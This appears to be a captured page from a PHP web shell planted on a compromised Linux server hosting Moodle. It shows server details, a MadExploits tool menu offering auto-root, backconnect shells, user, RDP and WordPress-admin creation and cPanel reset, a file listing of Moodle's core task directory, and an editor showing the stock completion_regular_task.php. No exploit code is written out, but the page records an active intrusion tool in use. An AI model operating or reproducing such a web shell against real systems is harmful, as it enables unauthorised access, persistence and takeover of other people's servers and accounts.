Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.6.176
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
lib /
classes /
task /
[ HOME SHELL ]
Name
Size
Permission
Action
adhoc_task.php
4.31
KB
-rw-r--r--
analytics_cleanup_task.php
1.73
KB
-rw-r--r--
antivirus_cleanup_task.php
1.91
KB
-rw-r--r--
asynchronous_backup_task.php
3.21
KB
-rw-r--r--
asynchronous_copy_task.php
9.11
KB
-rw-r--r--
asynchronous_restore_task.php
3.15
KB
-rw-r--r--
automated_backup_task.php
1.65
KB
-rw-r--r--
backup_cleanup_task.php
2.5
KB
-rw-r--r--
badges_cron_task.php
3.14
KB
-rw-r--r--
badges_message_task.php
2.17
KB
-rw-r--r--
blog_cron_task.php
2.16
KB
-rw-r--r--
build_installed_themes_task.ph...
1.73
KB
-rw-r--r--
cache_cleanup_task.php
1.38
KB
-rw-r--r--
cache_cron_task.php
1.33
KB
-rw-r--r--
calendar_cron_task.php
2.19
KB
-rw-r--r--
calendar_fix_orphaned_events.p...
2.63
KB
-rw-r--r--
check_for_updates_task.php
1.6
KB
-rw-r--r--
clean_up_deleted_search_area_t...
1.71
KB
-rw-r--r--
complete_plans_task.php
1.89
KB
-rw-r--r--
completion_daily_task.php
6.2
KB
-rw-r--r--
completion_regular_task.php
8.12
KB
-rw-r--r--
context_cleanup_task.php
1.64
KB
-rw-r--r--
course_backup_task.php
4.05
KB
-rw-r--r--
create_contexts_task.php
1.54
KB
-rw-r--r--
database_logger.php
5.55
KB
-rw-r--r--
delete_incomplete_users_task.p...
2.58
KB
-rw-r--r--
delete_unconfirmed_users_task....
2.12
KB
-rw-r--r--
file_temp_cleanup_task.php
4.24
KB
-rw-r--r--
file_trash_cleanup_task.php
1.44
KB
-rw-r--r--
grade_cron_task.php
3.15
KB
-rw-r--r--
grade_history_cleanup_task.php
2.09
KB
-rw-r--r--
h5p_get_content_types_task.php
2.21
KB
-rw-r--r--
legacy_plugin_cron_task.php
7.59
KB
-rw-r--r--
logging_trait.php
3.13
KB
-rw-r--r--
logmanager.php
9.82
KB
-rw-r--r--
manager.php
39.45
KB
-rw-r--r--
messaging_cleanup_task.php
2.72
KB
-rw-r--r--
password_reset_cleanup_task.ph...
1.95
KB
-rw-r--r--
plagiarism_cron_task.php
2.25
KB
-rw-r--r--
portfolio_cron_task.php
2.91
KB
-rw-r--r--
question_preview_cleanup_task....
2.83
KB
-rw-r--r--
question_stats_cleanup_task.ph...
2.11
KB
-rw-r--r--
refresh_mod_calendar_events_ta...
2.74
KB
-rw-r--r--
registration_cron_task.php
1.37
KB
-rw-r--r--
scheduled_task.php
12.4
KB
-rw-r--r--
search_index_task.php
2.27
KB
-rw-r--r--
search_optimize_task.php
1.76
KB
-rw-r--r--
send_failed_login_notification...
7.96
KB
-rw-r--r--
send_new_user_passwords_task.p...
3.25
KB
-rw-r--r--
session_cleanup_task.php
1.76
KB
-rw-r--r--
stats_cron_task.php
2
KB
-rw-r--r--
sync_plans_from_template_cohor...
2.24
KB
-rw-r--r--
tag_cron_task.php
11.28
KB
-rw-r--r--
task_base.php
6
KB
-rw-r--r--
task_log_cleanup_task.php
1.64
KB
-rw-r--r--
task_logger.php
2.36
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : completion_regular_task.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * A scheduled task. * * @package core * @copyright 2015 Josh Willcock * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ namespace core\task; /** * Simple task to run the regular completion cron. * @copyright 2015 Josh Willcock * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later. */ class completion_regular_task extends scheduled_task { /** * Get a descriptive name for this task (shown to admins). * * @return string */ public function get_name() { return get_string('taskcompletionregular', 'admin'); } /** * Do the job. * Throw exceptions on errors (the job will be retried). */ public function execute() { global $CFG, $COMPLETION_CRITERIA_TYPES, $DB; if ($CFG->enablecompletion) { require_once($CFG->libdir . "/completionlib.php"); // Process each criteria type. foreach ($COMPLETION_CRITERIA_TYPES as $type) { $object = 'completion_criteria_' . $type; require_once($CFG->dirroot . '/completion/criteria/' . $object . '.php'); $class = new $object(); // Run the criteria type's cron method, if it has one. if (method_exists($class, 'cron')) { if (debugging()) { mtrace('Running '.$object.'->cron()'); } $class->cron(); } } if (debugging()) { mtrace('Aggregating completions'); } // Save time started. $timestarted = time(); // Grab all criteria and their associated criteria completions. $sql = 'SELECT DISTINCT c.id AS course, cr.id AS criteriaid, crc.userid AS userid, cr.criteriatype AS criteriatype, cc.timecompleted AS timecompleted FROM {course_completion_criteria} cr INNER JOIN {course} c ON cr.course = c.id INNER JOIN {course_completions} crc ON crc.course = c.id LEFT JOIN {course_completion_crit_compl} cc ON cc.criteriaid = cr.id AND crc.userid = cc.userid WHERE c.enablecompletion = 1 AND crc.timecompleted IS NULL AND crc.reaggregate > 0 AND crc.reaggregate < :timestarted ORDER BY course, userid'; $rs = $DB->get_recordset_sql($sql, ['timestarted' => $timestarted]); // Check if result is empty. if (!$rs->valid()) { $rs->close(); return; } $currentuser = null; $currentcourse = null; $completions = []; while (1) { // Grab records for current user/course. foreach ($rs as $record) { // If we are still grabbing the same users completions. if ($record->userid === $currentuser && $record->course === $currentcourse) { $completions[$record->criteriaid] = $record; } else { break; } } // Aggregate. if (!empty($completions)) { if (debugging()) { mtrace('Aggregating completions for user ' . $currentuser . ' in course ' . $currentcourse); } // Get course info object. $info = new \completion_info((object)['id' => $currentcourse]); // Setup aggregation. $overall = $info->get_aggregation_method(); $activity = $info->get_aggregation_method(COMPLETION_CRITERIA_TYPE_ACTIVITY); $prerequisite = $info->get_aggregation_method(COMPLETION_CRITERIA_TYPE_COURSE); $role = $info->get_aggregation_method(COMPLETION_CRITERIA_TYPE_ROLE); $overallstatus = null; $activitystatus = null; $prerequisitestatus = null; $rolestatus = null; // Get latest timecompleted. $timecompleted = null; // Check each of the criteria. foreach ($completions as $params) { $timecompleted = max($timecompleted, $params->timecompleted); $completion = new \completion_criteria_completion((array)$params, false); // Handle aggregation special cases. if ($params->criteriatype == COMPLETION_CRITERIA_TYPE_ACTIVITY) { completion_cron_aggregate($activity, $completion->is_complete(), $activitystatus); } else if ($params->criteriatype == COMPLETION_CRITERIA_TYPE_COURSE) { completion_cron_aggregate($prerequisite, $completion->is_complete(), $prerequisitestatus); } else if ($params->criteriatype == COMPLETION_CRITERIA_TYPE_ROLE) { completion_cron_aggregate($role, $completion->is_complete(), $rolestatus); } else { completion_cron_aggregate($overall, $completion->is_complete(), $overallstatus); } } // Include role criteria aggregation in overall aggregation. if ($rolestatus !== null) { completion_cron_aggregate($overall, $rolestatus, $overallstatus); } // Include activity criteria aggregation in overall aggregation. if ($activitystatus !== null) { completion_cron_aggregate($overall, $activitystatus, $overallstatus); } // Include prerequisite criteria aggregation in overall aggregation. if ($prerequisitestatus !== null) { completion_cron_aggregate($overall, $prerequisitestatus, $overallstatus); } // If aggregation status is true, mark course complete for user. if ($overallstatus) { if (debugging()) { mtrace('Marking complete'); } $ccompletion = new \completion_completion([ 'course' => $params->course, 'userid' => $params->userid ]); $ccompletion->mark_complete($timecompleted); } } // If this is the end of the recordset, break the loop. if (!$rs->valid()) { $rs->close(); break; } // New/next user, update user details, reset completions. $currentuser = $record->userid; $currentcourse = $record->course; $completions = []; $completions[$record->criteriaid] = $record; } // Mark all users as aggregated. $sql = "UPDATE {course_completions} SET reaggregate = 0 WHERE reaggregate < :timestarted AND reaggregate > 0"; $DB->execute($sql, ['timestarted' => $timestarted]); } } }
Close